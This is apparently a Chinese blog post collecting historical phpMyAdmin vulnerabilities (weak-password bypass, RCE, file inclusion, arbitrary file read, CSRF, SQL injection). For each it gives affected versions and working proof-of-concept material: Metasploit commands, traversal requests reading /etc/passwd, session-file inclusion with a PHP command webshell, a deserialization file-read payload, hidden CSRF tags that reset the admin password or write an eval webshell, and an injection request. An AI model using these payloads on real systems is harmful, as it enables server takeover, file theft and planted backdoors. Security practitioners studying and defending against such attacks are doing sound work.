Loading ...
PhpMyAdmin 漏洞汇总

phpMyAdmin 作为一款广泛使用的 MySQL 数据库 Web 管理工具,其安全性直接关系到数据库乃至服务器的安全。本文梳理了 phpMyAdmin 历史上影响较大的漏洞,包括漏洞原理、影响版本、POC(漏洞证明代码)及利用方式,为安全从业者和运维人员提供参考。

一、万能密码与弱口令

  • 影响版本:phpMyAdmin 2.11.3~2.11.9.2

  • POC

    • 2.11.9.2 版本:用户名输入root,密码留空,直接登录;

    • 2.11.3/4 版本:用户名输入'localhost'@'@"(英文标点),密码任意(或留空)。

  • 利用方式:无需正确密码,直接登录 phpMyAdmin 后台,获取数据库管理权限。

二、远程代码执行(RCE)

1. CVE-2009-1151
  • 影响版本:phpMyAdmin 2.11.x < 2.11.9.5、3.x < 3.1.3.1

  • POC:通过 Metasploit 模块利用

    msfconsole  
    use exploit/unix/webapp/phpmyadmin_config  
    set RHOSTS 目标IP  
    set RPORT 目标端口  
    exploit  
  • 利用方式:通过模块触发配置文件漏洞,执行任意系统命令或获取反向 Shell。

2. CVE-2012-5159
  • 影响版本:phpMyAdmin 3.5.2.2

  • POC:通过 Metasploit 模块利用

    msfconsole  
    use exploit/multi/http/phpmyadmin3522_backdoor  
    set RHOSTS 目标IP  
    exploit  
  • 利用方式:利用server_sync.php文件包含漏洞,执行 PHP 代码,获取服务器权限。

3. CVE-2013-3238
  • 影响版本:phpMyAdmin 3.5.x < 3.5.8.1、4.0.0 < 4.0.0-rc3

  • POC:通过 Metasploit 模块利用

    msfconsole  
    use exploit/multi/http/phpmyadminpregreplace  
    set RHOSTS 目标IP  
    exploit  
  • 利用方式:滥用preg_replace()函数的/e修饰符,将替换字符串解析为 PHP 代码执行。

4. CVE-2016-5734
  • 影响版本

    • phpMyAdmin 4.0.x < 4.0.10.16、4.4.x < 4.4.15.7、4.6.x < 4.6.3;

    • 仅支持 PHP 4.3.0~5.4.6(PHP 5.4.7 + 修复空字节问题,不可利用)。

  • POC:Python 脚本(需登录权限)https://www.exploit-db.com/exploits/40185

    python3 cve-2016-5734.py -u 用户名 -p 密码 http://目标地址 -c "要执行的命令(如system('id'))"  
  • 利用方式:登录后创建含特殊名称的表,通过tbl_find_replace.php构造替换语句,将命令注入为 PHP 代码执行。

三、文件包含漏洞

1. CVE-2014-8959(本地文件包含)
  • 影响版本:phpMyAdmin 4.0.1~4.2.12,且 PHP 版本 < 5.3.4

  • POC:构造 GET 请求包含本地文件

    GET /gis_data_editor.php?token=获取的token值&gis_data[gis_type]=/../../../../../../../../目标文件路径%00 HTTP/1.1  
    Host: 目标地址  
  • 利用方式:通过%00截断路径,包含服务器本地文件(如配置文件、日志文件),若文件含 PHP 代码可执行。

2. CVE-2018-12613(本地文件包含)
  • 影响版本:phpMyAdmin 4.8.0、4.8.0.1、4.8.1

  • POC

    • 读取系统文件(如/etc/passwd):

      GET /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd HTTP/1.1  
    • 包含 Session 文件(需登录,获取PHPSESSID):

      GET /index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_<PHPSESSID> HTTP/1.1  
  • 利用方式

    1. 登录后执行SELECT '<?=system($_GET[cmd])?>',将 PHP 代码写入 Session 文件;

    2. 访问包含 Session 文件的 URL,通过?cmd=命令触发代码执行。

3. CVE-2018-19968(任意文件包含 / RCE)
  • 影响版本:phpMyAdmin 4.8.0~4.8.3

  • POC

    1. 创建数据库和表并插入 PHP 代码:

      CREATE DATABASE foo;
      CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
      INSERT INTO foo.bar SELECT<?php phpinfo(); ?>;
    2. 但此时还没有在数据库 foo 中生成 phpmyadmin 的配置表,访问:

      http://测试地址/chk_rel.php?fixall_pmadb=1&db=fo
    3. 生成配置表后,篡改数据指向 Session 文件:

      INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_[session]','plop';
    4. 访问包含Session文件的地址:

      http://测试地址/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1
  • 利用方式:通过数据库操作写入恶意代码到 Session 文件,再利用文件包含漏洞执行代码。

四、任意文件读取

WooYun-2016-199433
  • 影响版本:phpMyAdmin 2.x 版本

  • POC:构造 POST 请求读取文件

    POST /scripts/setup.php HTTP/1.1  
    Host: 目标地址  
    Content-Type: application/x-www-form-urlencoded  
    Content-Length: 长度值  
    
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:目标文件路径长度:"目标文件路径";}  
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

    示例(读取/etc/passwd):

    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}  
  • 利用方式:通过反序列化PMA_Config对象,控制source参数读取服务器任意文件(如/etc/passwd、数据库配置文件)。

五、跨站请求伪造(CSRF)

1. CVE-2017-1000499
  • 影响版本:phpMyAdmin 4.7.0 Beta1、4.7.0 Rc1、4.7.4、4.7.5、4.7.6

  • POC

    1. 添加测试服务器:访问http://目标地址/phpMyAdmin/setup/index.php,新建服务器(如名称 “test”,主机名 “localhost”),记录该服务器的序号(如id=1)。

    2. 抓取删除请求:手动删除上述服务器,通过抓包工具获取请求 URL:

      GET /phpMyAdmin/setup/index.php?page=servers&mode=remove&id=1 HTTP/1.1  
      Host: 目标地址  
      Cookie: 管理员登录后的会话Cookie  
    3. 构造并触发恶意页面,诱导管理员访问该页面:

      <!-- 示例:修改管理员密码 -->  
      <img src="http://目标地址/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27恶意密码%27)" style="display:none;">  
      
      <!-- 示例:写入Webshell(需MySQL写权限) -->  
      <img src="http://目标地址/sql.php?db=test&sql_query=SELECT '<?php eval($_GET[1]);?>' INTO OUTFILE '/var/www/html/shell.php'" style="display:none;">  
  • 利用方式:诱骗已登录的管理员访问含恶意标签的页面,执行敏感操作(改密码、写后门等)。

2. CVE-2019-12922
  • 影响版本:phpMyAdmin <= 4.9.0.1

  • POC:构造修改配置的恶意 URL

    <img src="http://目标地址/prefs_manage.php?db=&table=&token=管理员token&action=save&cfg[Servers][1][AllowRoot]=true" style="display:none;">  
  • 利用方式:通过 CSRF 漏洞篡改 phpMyAdmin 配置(如允许 root 登录),或执行其他未授权操作。

六、SQL 注入

CVE-2020-0554(后台 SQL 注入)
  • 影响版本:phpMyAdmin 4 < 4.9.4、5 < 5.0.1(需已知用户名密码登录后台)

  • POC:构造含注入的 GET 请求(替换token为登录后获取的值)

    GET /server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20version()),0x7e))--+db=&token=登录后的token&viewing_mode=server HTTP/1.1  
    Host: 目标地址  
    Cookie: 登录后的Cookie  
  • 利用方式:登录后台后,通过username参数注入 SQL 语句,利用报错注入获取数据库信息(版本、用户、数据等)。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇